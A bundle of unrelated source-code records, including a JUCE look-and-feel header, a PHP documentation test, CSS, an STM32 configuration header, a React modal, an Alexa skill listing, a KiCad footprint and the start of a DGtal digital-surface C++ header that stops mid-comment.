bool shouldDrawButtonAsDown) override;\r\n\r\n void drawProgressBar (Graphics&, ProgressBar&, int width, int height,\r\n double progress, const String& textToShow) override;\r\n\r\n //==============================================================================\r\n void drawScrollbarButton (Graphics&, ScrollBar&, int width, int height,\r\n int buttonDirection, bool isScrollbarVertical,\r\n bool shouldDrawButtonAsHighlighted, bool shouldDrawButtonAsDown) override;\r\n\r\n void drawScrollbar (Graphics&, ScrollBar&, int x, int y, int width, int height,\r\n bool isScrollbarVertical, int thumbStartPosition, int thumbSize,\r\n bool isMouseOver, bool isMouseDown) override;\r\n\r\n ImageEffectFilter* getScrollbarEffect() override;\r\n\r\n //==============================================================================\r\n void drawTextEditorOutline (Graphics&, int width, int height, TextEditor&) override;\r\n\r\n //==============================================================================\r\n void drawPopupMenuBackground (Graphics&, int width, int height) override;\r\n void drawMenuBarBackground (Graphics&, int width, int height, bool isMouseOverBar, MenuBarComponent&) override;\r\n\r\n //==============================================================================\r\n void drawComboBox (Graphics&, int width, int height, bool isButtonDown,\r\n int buttonX, int buttonY, int buttonW, int buttonH, ComboBox&) override;\r\n\r\n Font getComboBoxFont (ComboBox&) override;\r\n\r\n //==============================================================================\r\n void drawLinearSlider (Graphics&, int x, int y, int width, int height,\r\n float sliderPos, float minSliderPos, float maxSliderPos,\r\n const Slider::SliderStyle, Slider&) override;\r\n\r\n int getSliderThumbRadius (Slider&) override;\r\n Button* createSliderButton (Slider&, bool isIncrement) override;\r\n ImageEffectFilter* getSliderEffect (Slider&) override;\r\n\r\n //==============================================================================\r\n void drawCornerResizer (Graphics&, int w, int h, bool isMouseOver, bool isMouseDragging) override;\r\n\r\n Button* createDocumentWindowButton (int buttonType) override;\r\n\r\n void positionDocumentWindowButtons (DocumentWindow&,\r\n int titleBarX, int titleBarY, int titleBarW, int titleBarH,\r\n Button* minimiseButton, Button* maximiseButton, Button* closeButton,\r\n bool positionTitleBarButtonsOnLeft) override;\r\n\r\nprivate:\r\n DropShadowEffect scrollbarShadow;\r\n\r\n JUCE_DECLARE_NON_COPYABLE_WITH_LEAK_DETECTOR (LookAndFeel_V1)\r\n};\r\n\r\n} // namespace juce\r\n"} +{"text": "__construct();\n }\n\n function __construct() {\n parent::__construct('Test use of the namespace syntaxes');\n }\n\n function skip() {\n $this->skipIf(!version_compare(EXEC_VERSION, '5.3.0', '>='), \"Requires PHP 5.3\");\n }\n\n function testStandardSyntax() {\n $this->setIniFile('standard-namespace-syntax.ini');\n $output = $this->runPhpDoctor();\n\n $this->assertTrue(strpos($output, 'public final static int PHPDoctor\\Tests\\foo\\bar\\ZERO'));\n $this->assertTrue(strpos($output, 'public final static int PHPDoctor\\Tests\\foo\\bar\\ONE = 1'));\n }\n\n function testAltSyntax() {\n $this->setIniFile('alt-namespace-syntax.ini');\n $output = $this->runPhpDoctor();\n\n $this->assertTrue(strpos($output, 'public final static int PHPDoctor\\Tests\\woo\\yay\\ZERO'));\n $this->assertTrue(strpos($output, 'public final static int PHPDoctor\\Tests\\woo\\yay\\ONE = 1'));\n\n $this->assertTrue(strpos($output, 'public class PHPDoctor\\Tests\\A\\Bar_A extends PHPDoctor\\Tests\\A\\Foo'));\n $this->assertTrue(strpos($output, 'public class PHPDoctor\\Tests\\B\\Bar_B extends PHPDoctor\\Tests\\B\\Foo'));\n $this->assertTrue(strpos($output, 'public class PHPDoctor\\Tests\\A\\C\\Bar_C extends PHPDoctor\\Tests\\A\\C\\Foo'));\n\n }\n\n}\n"} +{"text": "const SetTriggeringResponse_Schema = {\n name: \"SetTriggeringResponse\",\n fields: [\n { name: \"responseHeader\", fieldType: \"ResponseHeader\" },\n { name: \"addResults\", isArray: true, fieldType: \"StatusCode\" },\n { name: \"addDiagnosticInfos\", isArray: true, fieldType: \"DiagnosticInfo\" },\n { name: \"removeResults\", isArray: true, fieldType: \"StatusCode\" },\n { name: \"removeDiagnosticInfos\", isArray: true, fieldType: \"DiagnosticInfo\" }\n ]\n};\nexports.SetTriggeringResponse_Schema = SetTriggeringResponse_Schema;"} +{"text": "\r\n\r\n\r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n \r\n"} +{"text": "/* SVG shapes */\n\nsvg, svg * {\n vector-effect: non-scaling-stroke !important;\n pointer-events: all !important;\n}\n\n/* Hover over */\n\n.entity:hover {\n stroke: #03A9F4 !important;\n stroke-width: 1px !important;\n stroke-opacity: 1 !important;\n}\n\n/* Bootstrap succss */\n\n.success-text {\n fill: #3c763d !important;\n}\n\n.success-background, .success-text-background {\n fill: #dff0d8 !important;\n fill-opacity: 1 !important;\n stroke: #d6e9c6 !important;\n stroke-width: 1px !important;\n}\n\n/* Bootstrap info */\n\n.info-text {\n fill: #31708f !important;\n}\n\n.info-background, .info-text-background {\n fill: #d9edf7 !important;\n fill-opacity: 1 !important;\n stroke: #bce8f1 !important;\n stroke-width: 1px !important;\n}\n\n/* Bootstrap warning */\n\n.warning-text {\n fill: #8a6d3b !important;\n}\n\n.warning-background, .warning-text-background {\n fill: #fcf8e3 !important;\n fill-opacity: 1 !important;\n stroke: #faebcc !important;\n stroke-width: 1px !important;\n}\n\n/* Bootstrap danger */\n\n.danger-text {\n fill: #a94442 !important;\n}\n\n.danger-background, .danger-text-background {\n fill: #f2dede !important;\n fill-opacity: 1 !important;\n stroke: #ebccd1 !important;\n stroke-width: 1px !important;\n}"} +{"text": "/**\n ******************************************************************************\n * @file stm32f4xx_conf.h \n * @author MCD Application Team\n * @version V1.1.0\n * @date 19-March-2012\n * @brief Library configuration file.\n ******************************************************************************\n * @attention\n *\n *

    © COPYRIGHT 2012 STMicroelectronics

    \n *\n * Licensed under MCD-ST Liberty SW License Agreement V2, (the \"License\");\n * You may not use this file except in compliance with the License.\n * You may obtain a copy of the License at:\n *\n * http://www.st.com/software_license_agreement_liberty_v2\n *\n * Unless required by applicable law or agreed to in writing, software \n * distributed under the License is distributed on an \"AS IS\" BASIS, \n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ******************************************************************************\n */ \n\n/* Define to prevent recursive inclusion -------------------------------------*/\n#ifndef __STM32F4xx_CONF_H\n#define __STM32F4xx_CONF_H\n\n/* Includes ------------------------------------------------------------------*/\n/* Uncomment the line below to enable peripheral header file inclusion */\n#include \"stm32f4xx_adc.h\"\n#include \"stm32f4xx_can.h\"\n#include \"stm32f4xx_crc.h\"\n#include \"stm32f4xx_cryp.h\"\n#include \"stm32f4xx_dac.h\"\n#include \"stm32f4xx_dbgmcu.h\"\n#include \"stm32f4xx_dcmi.h\"\n#include \"stm32f4xx_dma.h\"\n#include \"stm32f4xx_exti.h\"\n#include \"stm32f4xx_flash.h\"\n#include \"stm32f4xx_fsmc.h\"\n#include \"stm32f4xx_hash.h\"\n#include \"stm32f4xx_gpio.h\"\n#include \"stm32f4xx_i2c.h\"\n#include \"stm32f4xx_iwdg.h\"\n#include \"stm32f4xx_pwr.h\"\n#include \"stm32f4xx_rcc.h\"\n#include \"stm32f4xx_rng.h\"\n#include \"stm32f4xx_rtc.h\"\n#include \"stm32f4xx_sdio.h\"\n#include \"stm32f4xx_spi.h\"\n#include \"stm32f4xx_syscfg.h\"\n#include \"stm32f4xx_tim.h\"\n#include \"stm32f4xx_usart.h\"\n#include \"stm32f4xx_wwdg.h\"\n#include \"misc.h\" /* High level functions for NVIC and SysTick (add-on to CMSIS functions) */\n\n/* Exported types ------------------------------------------------------------*/\n/* Exported constants --------------------------------------------------------*/\n\n/* If an external clock source is used, then the value of the following define \n should be set to the value of the external clock source, else, if no external \n clock is used, keep this define commented */\n/*#define I2S_EXTERNAL_CLOCK_VAL 12288000 */ /* Value of the external clock in Hz */\n\n\n/* Uncomment the line below to expanse the \"assert_param\" macro in the \n Standard Peripheral Library drivers code */\n/* #define USE_FULL_ASSERT 1 */\n\n/* Exported macro ------------------------------------------------------------*/\n#ifdef USE_FULL_ASSERT\n\n/**\n * @brief The assert_param macro is used for function's parameters check.\n * @param expr: If expr is false, it calls assert_failed function\n * which reports the name of the source file and the source\n * line number of the call that failed. \n * If expr is true, it returns no value.\n * @retval None\n */\n #define assert_param(expr) ((expr) ? (void)0 : assert_failed((uint8_t *)__FILE__, __LINE__))\n/* Exported functions ------------------------------------------------------- */\n void assert_failed(uint8_t* file, uint32_t line);\n#else\n #define assert_param(expr) ((void)0)\n#endif /* USE_FULL_ASSERT */\n\n#endif /* __STM32F4xx_CONF_H */\n\n/************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/\n"} +{"text": "import React from \"react\";\nimport ReactModal from \"react-modal\";\nimport { bool, func } from \"prop-types\";\n\nimport {\n Action,\n Actionbar,\n Container,\n Modal,\n Image,\n ModalBody,\n ModalFoot,\n ModalHead,\n PageSubtitle,\n PageTitle,\n Separator,\n} from \"interviewjs-styleguide\";\n\nimport WelcomeImage from \"../../assets/welcome-image.png\";\n\nexport default class WelcomeModal extends React.Component {\n constructor(props) {\n super(props);\n this.state = {};\n }\n render() {\n return (\n \n \n \n Welcome to InterviewJS\n \n \n \n \n InterviewJS users will engage with your story through a series of direct messaging exchanges based on\n your interviews. It’s a web app - there’s no need to download anything - users will simply need to be\n online!\n \n \n \n \"\"\n \n \n \n \n \n \n \n Create your first story\n \n \n \n \n \n \n );\n }\n}\n\nWelcomeModal.propTypes = {\n handleClose: func.isRequired,\n isOpen: bool.isRequired,\n};\n\nWelcomeModal.defaultProps = {};\n"} +{"text": "# [Periodic Table](http://alexa.amazon.com/#skills/amzn1.echo-sdk-ams.app.9f907f0b-dad0-48e7-871c-cfe60152534b)\n![0 stars](../../images/ic_star_border_black_18dp_1x.png)![0 stars](../../images/ic_star_border_black_18dp_1x.png)![0 stars](../../images/ic_star_border_black_18dp_1x.png)![0 stars](../../images/ic_star_border_black_18dp_1x.png)![0 stars](../../images/ic_star_border_black_18dp_1x.png) 0\n\nTo use the Periodic Table skill, try saying...\n\n* *Alexa ask simple periodic table*\n\n* *Alexa ask simple periodic table to start*\n\n* *Alexa open simple periodic table*\n\nSimple Trivia questions based on Periodic Table elements\n\n***\n\n### Skill Details\n\n* **Invocation Name:** simple periodic table\n* **Category:** null\n* **ID:** amzn1.echo-sdk-ams.app.9f907f0b-dad0-48e7-871c-cfe60152534b\n* **ASIN:** B01HNN8ONQ\n* **Author:** dbstek\n* **Release Date:** July 4, 2016 @ 05:57:32\n* **In-App Purchasing:** No\n"} +{"text": "(module SOT-753 (layer F.Cu) (tedit 5D28A654)\n (attr smd)\n (fp_text reference REF** (at -0.025 -3.375) (layer F.SilkS)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_text value SOT-753 (at 0.35 4.025) (layer F.Fab)\n (effects (font (size 1 1) (thickness 0.15)))\n )\n (fp_line (start -1.825 2.125) (end -1.825 -2.125) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.825 2.125) (end -1.825 2.125) (layer F.CrtYd) (width 0.05))\n (fp_line (start 1.825 -2.125) (end 1.825 2.125) (layer F.CrtYd) (width 0.05))\n (fp_line (start -1.825 -2.125) (end 1.825 -2.125) (layer F.CrtYd) (width 0.05))\n (fp_text user %R (at 0 0.1) (layer F.Fab)\n (effects (font (size 0.75 0.75) (thickness 0.075)))\n )\n (fp_line (start -1.325 -1) (end -1.65 -1) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.65 -1) (end -1.65 -0.7) (layer F.SilkS) (width 0.1))\n (fp_line (start 1.325 1) (end 1.65 1) (layer F.SilkS) (width 0.1))\n (fp_line (start 1.65 1) (end 1.65 0.7) (layer F.SilkS) (width 0.1))\n (fp_line (start 1.35 -1) (end 1.65 -1) (layer F.SilkS) (width 0.1))\n (fp_line (start 1.65 -1) (end 1.65 -0.675) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.65 0.675) (end -1.425 1) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.425 1) (end -1.325 1) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.325 1) (end -1.325 1.525) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.65 0.675) (end -1.65 0.3) (layer F.SilkS) (width 0.1))\n (fp_line (start -1.525 0.625) (end -1.525 -0.875) (layer F.Fab) (width 0.1))\n (fp_line (start -1.35 0.875) (end 1.525 0.875) (layer F.Fab) (width 0.1))\n (fp_line (start -1.525 0.625) (end -1.35 0.875) (layer F.Fab) (width 0.1))\n (fp_line (start 1.525 -0.875) (end 1.525 0.875) (layer F.Fab) (width 0.1))\n (fp_line (start -1.525 -0.875) (end 1.525 -0.875) (layer F.Fab) (width 0.1))\n (pad 5 smd rect (at -0.95 -1.35) (size 0.6 1.05) (layers F.Cu F.Paste F.Mask)\n (solder_mask_margin 0.07))\n (pad 4 smd rect (at 0.95 -1.35) (size 0.6 1.05) (layers F.Cu F.Paste F.Mask)\n (solder_mask_margin 0.07))\n (pad 3 smd rect (at 0.95 1.35) (size 0.6 1.05) (layers F.Cu F.Paste F.Mask)\n (solder_mask_margin 0.07))\n (pad 2 smd rect (at 0 1.35) (size 0.6 1.05) (layers F.Cu F.Paste F.Mask)\n (solder_mask_margin 0.07))\n (pad 1 smd rect (at -0.95 1.35) (size 0.6 1.05) (layers F.Cu F.Paste F.Mask)\n (solder_mask_margin 0.07))\n)\n"} +{"text": "/**\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU Lesser General Public License as\n * published by the Free Software Foundation, either version 3 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program. If not, see .\n *\n **/\n\n#pragma once\n\n/**\n * @file IndexedDigitalSurface.h\n * @author Jacques-Olivier Lachaud (\\c jacques-olivier.lachaud@univ-savoie.fr )\n * Laboratory of Mathematics (CNRS, UMR 5127), University of Savoie, France\n *\n * @date 2017/02/05\n *\n * Header file for module IndexedDigitalSurface.cpp\n *\n * This file is part of the DGtal library.\n */\n\n#if defined(IndexedDigitalSurface_RECURSES)\n#error Recursive header files inclusion detected in IndexedDigitalSurface.h\n#else // defined(IndexedDigitalSurface_RECURSES)\n/** Prevents recursive inclusion of headers. */\n#define IndexedDigitalSurface_RECURSES\n\n#if !defined IndexedDigitalSurface_h\n/** Prevents repeated inclusion of headers. */\n#define IndexedDigitalSurface_h\n\n//////////////////////////////////////////////////////////////////////////////\n// Inclusions\n#include \n#include \n#include \n#include \n#include \"DGtal/base/Common.h\"\n#include \"DGtal/base/OwningOrAliasingPtr.h\"\n#include \"DGtal/base/IntegerSequenceIterator.h\"\n#include \"DGtal/topology/HalfEdgeDataStructure.h\"\n#include \"DGtal/topology/CDigitalSurfaceContainer.h\"\n//////////////////////////////////////////////////////////////////////////////\n\nnamespace DGtal\n{\n\n /////////////////////////////////////////////////////////////////////////////\n // template class IndexedDigitalSurface\n /**\n * Description of template class 'IndexedDigitalSurface'

    \\brief\n * Aim: Represents a digital surface with the topology of its dual\n * surface. Its aim is to mimick the standard DigitalSurface, but to\n * optimize its traversal and topology services. The idea is simply\n * to number all its vertices (ie surfels), arcs, and faces and to\n * store its topology with an half-edge data structure. It is\n * essentially a PolygonalSurface but with services specific to\n * DigitalSurface, like a tracker, a DigitalSurfaceContainer,\n * etc. In theory, it can replace a DigitalSurface in many\n * algorithms, and is more efficient if you need to do a lot of\n * traversal on it (like many k-ring operations).\n *\n * This object stores the positions of vertices in\n * space. If you need further data attached to the surface, you may\n * use property maps (see `IndexedDigitalSurface::makeVertexMap`).\n *\n * The user instantiates the object with a model of\n * concepts::CDigitalSurfaceContainer or a DigitalSurface.\n *\n * Model of concepts::CUndirectedSimpleGraph: the vertices and edges of the\n * digital surface form indeed a graph structure.\n *\n * @note Vertices, Arcs, and Faces are all integer ranging from 0 to\n * one less than the total number of the respective elements. You\n * may thus iterate on them by just looping on integers. The index\n * INVALID_FACE is an invalid element (equal to HALF_EDGE_INVALID_INDEX).\n *\n * @tparam TDigitalSurfaceContainer the type of container from which\n * the object is built (a model of\n * concepts::CDigitalSurfaceContainer), e.g. SetOfSurfels,\n * ImplicitDigitalSurface, ExplicitDigitalSurface,\n * DigitalSetBoundary, etc.\n *\n * See \\ref dgtal_digsurf_sec3_2 and \\ref HalfEdgeDataStructure.\n */\n template \n class IndexedDigitalSurface\n {\n public:\n typedef IndexedDigitalSurface Self;\n typedef TDigitalSurfaceContainer DigitalSurfaceContainer;\n BOOST_CONCEPT_ASSERT(( concepts::CDigitalSurfaceContainer< DigitalSurfaceContainer > ));\n\n typedef typename DigitalSurfaceContainer::KSpace KSpace;\n typedef typename KSpace::Space Space;\n typedef typename KSpace::Surfel Surfel;\n typedef typename KSpace::SCell SCell;\n typedef typename KSpace::Cell Cell;\n typedef typename Space::RealPoint RealPoint;\n typedef HalfEdgeDataStructure::Size Size;\n typedef HalfEdgeDataStructure::Index Index;\n typedef HalfEdgeDataStructure::VertexIndex VertexIndex;\n typedef HalfEdgeDataStructure::EdgeIndex EdgeIndex;\n typedef HalfEdgeDataStructure::FaceIndex FaceIndex;\n typedef HalfEdgeDataStructure::Triangle Triangle;\n typedef HalfEdgeDataStructure::PolygonalFace PolygonalFace;\n typedef std::vector PositionsStorage;\n typedef std::vector PolygonalFacesStorage;\n typedef std::vector SCellStorage;\n\n // Required by CUndirectedSimpleLocalGraph\n typedef VertexIndex Vertex;\n typedef std::set VertexSet;\n template struct VertexMap {\n typedef typename std::map Type;\n };\n\n // Required by CUndirectedSimpleGraph\n typedef EdgeIndex Edge;\n typedef IntegerSequenceIterator ConstIterator;\n\n // Required for CCombinatorialSurface\n typedef HalfEdgeDataStructure::HalfEdgeIndex Arc;\n typedef HalfEdgeDataStructure::FaceIndex Face;\n typedef std::vector ArcRange;\n typedef std::vector FaceRange;\n typedef std::vector VertexRange;\n\n BOOST_STATIC_CONSTANT( Face, INVALID_FACE = HALF_EDGE_INVALID_INDEX );\n\n /// This structure is used to define efficient maps between\n /// vertices and any data specified by type \\a TData. The\n /// indexed digital surface provides a default vertex map for vertex\n /// positions.\n /// @tparam TData the value type for the map.\n /// @see positions\n /// @see makeVertexMap\n /// @note This property map uses a vector structure as storage.\n template \n struct IndexedPropertyMap {\n typedef Index Argument;\n typedef TData Data;\n typedef std::vector Storage;\n\n /// Default constructor. The object is invalid.\n IndexedPropertyMap() : mySurface( 0 ), myData( 0 ) {}\n\n /// Creates an empty vertex property map\n /// @param aSurface the corresponding indexed digital surface.\n /// @param s one more than the maximal allowed index (i.e. nb of elements).\n /// @param def_data the default value at initialization.\n IndexedPropertyMap( const Self& aSurface, Size s, Data def_data = Data() )\n : mySurface( &aSurface ),\n myData( Storage( s, def_data ) )\n {}\n\n /// Creates the IndexedPropertyMap that points to one that exists already.\n ///\n /// @param aSurface the corresponding indexed digital surface.\n /// @param aStorage the map to reference in this property map.\n ///\n /// @note This method is used to give to a user the map vertex\n /// -> position that is stored within the indexed digital surface.\n IndexedPropertyMap( const Self& aSurface,\n\t\t\t Storage& aStorage )\n : mySurface( &aSurface ),\n myData( &aStorage, false )\n {}\n\n /// @return the associated indexed digital surface.\n const Self& surface() const\n {\n ASSERT( isValid() );\n return *mySurface;\n }\n\n /// This object is a function : Argument -> Data\n /// @param v any index\n /// @return the associated data\n const Data& operator()( Argument v ) const\n {\n ASSERT( isValid() && v < myData->size() );\n return (*myData)[ v ];\n }\n\n /// Non-mutable array access.\n /// @param v any index\n /// @return the associated data\n const Data& operator[]( Argument v ) const\n {\n ASSERT( isValid() && v < myData->size() );\n return (*myData)[ v ];\n }\n\n /// mutable array access.\n /// @param v any index\n /// @return the associated data\n Data& operator[]( Argument v )\n {\n ASSERT( isValid() && v < myData->size() );\n return (*myData)[ v ];\n }\n\n /// @return if the object was properly initialized.\n bool isValid() const { return mySurface != 0; }\n\n /// @return the size of the indexed map (i.e., size of associated vector).\n Size size() const { return myData->size(); }\n\n /// @return a reference to the storage class (a vector of Data).\n Storage& storage() { return *myData; }\n\n /// @return a const reference to the storage class (a vector of Data).\n const Storage& storage() const { return *myData; }\n\n private:\n /// The associated indexed digital surface\n const Self* mySurface;\n /// An owned or aliased pointer to the vector of data.\n OwningOrAliasingPtr myData;\n };\n\n typedef IndexedPropertyMap< RealPoint > PositionsMap;\n\n protected:\n typedef HalfEdgeDataStructure::HalfEdge HalfEdge;\n\n // ----------------------- Standard services ------------------------------\n public:\n\n /**\n * Destructor.\n */\n ~IndexedDigitalSurface() {}\n\n /**\n * Constructor.\n */\n IndexedDigitalSurface() : isHEDSValid( false ), myContainer( 0 ) {}\n\n /// Constructor from digital surface container.\n /// @param surfContainer any instance of digital surface\n /// container. Pass a CountedPtr or any variant if you wish to\n /// secure its aliasing.\n IndexedDigitalSurface( ConstAlias< DigitalSurfaceContainer > surfContainer )\n : isHEDSValid( false ), myContainer( 0 )\n {\n build( surfContainer );\n }\n \n /// Clears everything.\n void clear();\n\n /// Builds the half-edge data structure from the given digital\n /// surface container. After that, the surface is valid.\n ///\n /// @param surfContainer any instance of digital surface\n /// container. Pass a CountedPtr or any variant if you wish to\n /// secure its aliasing.\n ///\n /// @return true if everything went allright, false if it was not\n /// possible to build a consistent data structure (e.g., butterfly\n /// neighborhoods).\n bool build( ConstAlias< DigitalSurfaceContainer > surfContainer );\n\n /**\n @return a const reference to the stored container.\n */\n const DigitalSurfaceContainer & container() const\n { return *myContainer; }\n\n /// @return a const reference to the digital space containing the digital surface.\n const KSpace& space() const\n { return myContainer->space(); }\n\n /// @return a const reference to the half-edge data structure.\n const HalfEdgeDataStructure& heds() const\n { return myHEDS; }\n\n // ------------------------- standard services ------------------------------\n public:\n /// @return the number of half edges in the structure.\n Size nbArcs() const { return myHEDS.nbHalfEdges(); }\n\n /// @return the number of vertices in the structure.\n Size nbVertices() const { return myHEDS.nbVertices(); }\n\n /// @return the number of unoriented edges in the structure.\n Size nbEdges() const { return myHEDS.nbEdges(); }\n\n /// @return the number of faces in the structure.\n Size nbFaces() const { return myHEDS.nbFaces(); }\n\n /// @return the euler characteristic of the indexed digital surface\n /// (a famous topological invariant that is the number of vertices\n /// minus the number of edges plus the number of faces).\n long Euler() const { return myHEDS.Euler(); }\n\n /// @return the property map stored in the surface that defines vertex positions.\n /// @note The returned map only references what is stored in the surface.\n PositionsMap positions()\n {\n return PositionsMap( *this, myPositions );\n }\n\n /// @return the property map stored in the surface that defines the mapping vertex index -> Surfel\n /// @note The returned map only references what is stored in the surface.\n IndexedPropertyMap< SCell > surfels()\n {\n return IndexedPropertyMap< SCell >( *this, myVertexIndex2Surfel );\n }\n\n /// @return the property map stored in the surface that defines the mapping arc -> Linel\n /// @note The returned map only references what is stored in the surface.\n IndexedPropertyMap< SCell > linels()\n {\n return IndexedPropertyMap< SCell >( *this, myArc2Linel );\n }\n\n /// @return the property map stored in the surface that defines the mapping face index -> Pointel\n /// @note The returned map only references what is stored in the surface.\n IndexedPropertyMap< SCell > pointels()\n {\n return IndexedPropertyMap< SCell >( *this, myFaceIndex2Pointel );\n }\n\n /// @return a vertex property map that associates some data to any vertex.\n template \n IndexedPropertyMap< AnyData > makeVertexMap() const\n {\n return IndexedPropertyMap< AnyData >( *this, nbVertices() );\n }\n\n /// @param value the value that is given to all vertices at initialization.\n /// @return a vertex property map that associates some data to any vertex.\n template \n IndexedPropertyMap< AnyData > makeVertexMap( AnyData value ) const\n {\n return IndexedPropertyMap< AnyData >( *this, nbVertices(), value );\n }\n\n /// @return an edge property map that associates some data to any edge.\n template \n IndexedPropertyMap< AnyData > makeEdgeMap() const\n {\n return IndexedPropertyMap< AnyData >( *this, nbEdges() );\n }\n\n /// @param value the value that is given to all edges at initialization.\n /// @return an edge property map that associates some data to any edge.\n template \n IndexedPropertyMap< AnyData > makeEdgeMap( AnyData value ) const\n {\n return IndexedPropertyMap< AnyData >( *this, nbEdges(), value );\n }\n\n /// @return a face property map that associates some data to any face.\n template \n IndexedPropertyMap< AnyData > makeFaceMap() const\n {\n return IndexedPropertyMap< AnyData >( *this, nbFaces() );\n }\n\n /// @param value the value that is given to all faces at initialization.\n /// @return a face property map that associates some data to any face.\n template \n IndexedPropertyMap< AnyData > makeFaceMap( AnyData value ) const\n {\n return IndexedPropertyMap< AnyData >( *this, nbFaces(), value );\n }\n\n /// Mutable accessor to vertex data.\n /// @param v any vertex.\n /// @return the mutable data associated to \\a v.\n RealPoint& position( Vertex v );\n /// Const accessor to vertex data.\n /// @param v any vertex.\n /// @return the non-mutable data associated to \\a v.\n const RealPoint& position( Vertex v ) const;\n\n /// @param[in] v any vertex index.\n /// @return the corresponding surfel.\n const SCell& surfel( Vertex v ) const\n {\n ASSERT( v < nbVertices() );\n return myVertexIndex2Surfel[ v ];\n }\n\n /// @param[in] a any arc (index).\n /// @return the corresponding separator linel.\n const SCell& linel( Arc a ) const\n {\n ASSERT( a < nbArcs() );\n return myArc2Linel[ a ];\n }\n\n /// @param[in] f any face index.\n /// @return the corresponding pivot pointel.\n const SCell& pointel( Face f ) const\n {\n ASSERT( f < nbFaces() );\n return myFaceIndex2Pointel[ f ];\n }\n \n /// @param[in] aSurfel any surfel of the surface\n ///\n /// @return the vertex (ie an index) corresponding to this surfel,\n /// or INVALID_FACE if it does not exist.\n Vertex getVertex( const SCell& aSurfel ) const\n {\n auto it = mySurfel2VertexIndex.find( aSurfel );\n return it != mySurfel2VertexIndex.end() ? it->second : INVALID_FACE;\n }\n\n /// @param[in] aLinel any linel that is a separator on the surface (orientation is important).\n ///\n /// @return the arc (ie an index) corresponding to this separator linel,\n /// or INVALID_FACE if it does not exist.\n Arc getArc( const SCell& aLinel ) const\n {\n auto it = myLinel2Arc.find( aLinel );\n return it != myLinel2Arc.end() ? it->second : INVALID_FACE;\n }\n\n /// @param[in] aPointel any pointel that is a pivot on the surface (orientation is positive).\n ///\n /// @return the face (ie an index) corresponding to this pivot pointel,\n /// or INVALID_FACE if it does not exist.\n Face getFace( const SCell& aPointel ) const\n {\n auto it = myPointel2FaceIndex.find( aPointel );\n return it != myPointel2FaceIndex.end() ? it->second : INVALID_FACE;\n }\n \n // ----------------------- Undirected simple graph services -------------------------\n public:\n /**\n * @return the number of vertices of the surface.\n */\n Size size() const;\n\n /**\n * @return an estimate of the maximum number of neighbors for this adjacency\n *\n * @note chosen here to be 8. Number of neighbors is 6 on average\n * for planar triangulations.\n */\n Size bestCapacity() const;\n\n /**\n * @param v any vertex\n *\n * @return the number of neighbors of this vertex\n */\n Size degree( const Vertex & v ) const;\n\n /**\n * Writes the neighbors of a vertex using an output iterator\n *\n *\n * @tparam OutputIterator the type of an output iterator writing\n * in a container of vertices.\n *\n * @param it the output iterator\n *\n * @param v the vertex whose neighbors will be writen\n */\n template \n void\n writeNeighbors( OutputIterator &it ,\n\t\t const Vertex & v ) const;\n\n /**\n * Writes the neighbors of a vertex which satisfy a predicate using an\n * output iterator\n *\n *\n * @tparam OutputIterator the type of an output iterator writing\n * in a container of vertices.\n *\n * @tparam VertexPredicate the type of the predicate\n *\n * @param it the output iterator\n *\n * @param v the vertex whose neighbors will be written\n *\n * @param pred the predicate that must be satisfied\n */\n template \n void\n writeNeighbors( OutputIterator &it ,\n\t\t const Vertex & v,\n\t\t const VertexPredicate & pred) const;\n\n /// @return a (non mutable) iterator pointing on the first vertex.\n ConstIterator begin() const\n { return ConstIterator( 0 ); }\n\n /// @return a (non mutable) iterator pointing after the last vertex.\n ConstIterator end() const\n { return ConstIterator( nbVertices() ); }\n\n // ----------------------- CombinatorialSurface --------------------------\n public:\n\n /**\n @param v any vertex of the surface.\n @return the outgoing arcs from [v]\n */\n ArcRange outArcs( const Vertex & v ) const;\n\n /**\n @param v any vertex of the surface.\n @return the ingoing arcs to [v]\n */\n ArcRange inArcs( const Vertex & v ) const;\n\n /**\n @param v any vertex of the surface.\n @return the faces containing this vertex [v].\n */\n FaceRange facesAroundVertex( const Vertex & v ) const;\n\n /**\n @param a any arc (s,t)\n @return the vertex t\n */\n Vertex head( const Arc & a ) const;\n\n /**\n @param a any arc (s,t)\n @return the vertex s\n */\n Vertex tail( const Arc & a ) const;\n\n /**\n @param a any arc (s,t)\n @return the arc (t,s)\n */\n Arc opposite( const Arc & a ) const;\n\n /**\n Constant-time access to the next arc along the face.\n\n @param a any arc (s,t)\n @return the next arc along the face.\n */\n Arc next( const Arc & a ) const;\n\n /**\n [t] and [h] should be adjacent vertices.\n\n @param t the vertex at the tail of the arc.\n @param h the vertex at the head of the arc.\n @return the arc (tail, head)\n */\n Arc arc( const Vertex & t, const Vertex & h ) const;\n\n /**\n Convenience method for computing the face incident to a given\n arc. There is at most one face that borders an arc for\n indexed digital surface since it is a combinatorial 2-manifold.\n\n @param a any arc on the surface.\n\n @return the face around the given arc or the InvalidFace if the\n arc was a boundary arc.\n */\n Face faceAroundArc( const Arc & a ) const;\n\n /**\n Computes the faces incident to a given arc. There is only one\n for indexed digital surface since it is a combinatorial\n 2-manifold.\n\n @param a any arc on the surface.\n @return a vector containing the faces incident to this arc.\n */\n FaceRange facesAroundArc( const Arc & a ) const;\n\n /**\n If f is incident to the arcs (s,t) and (t,u) (say), then\n (s,t,u) is a subsequence of the returned sequence.\n\n @param f any valid face on the surface (open or closed ).\n\n @return the sequence of vertices that touches this face. The\n order follows the order of incident arcs (the range size is the\n number of vertices of the polygonal face).\n */\n VertexRange verticesAroundFace( const Face & f ) const;\n\n /**\n @param v any vertex.\n @return 'true' if and only if vertex \\a v lies on a boundary.\n @note O(1) operation\n */\n bool isVertexBoundary( const Vertex& v ) const;\n\n /**\n @param v any arc.\n @return 'true' if and only if arc \\a v lies on a boundary (note\n that the opposite 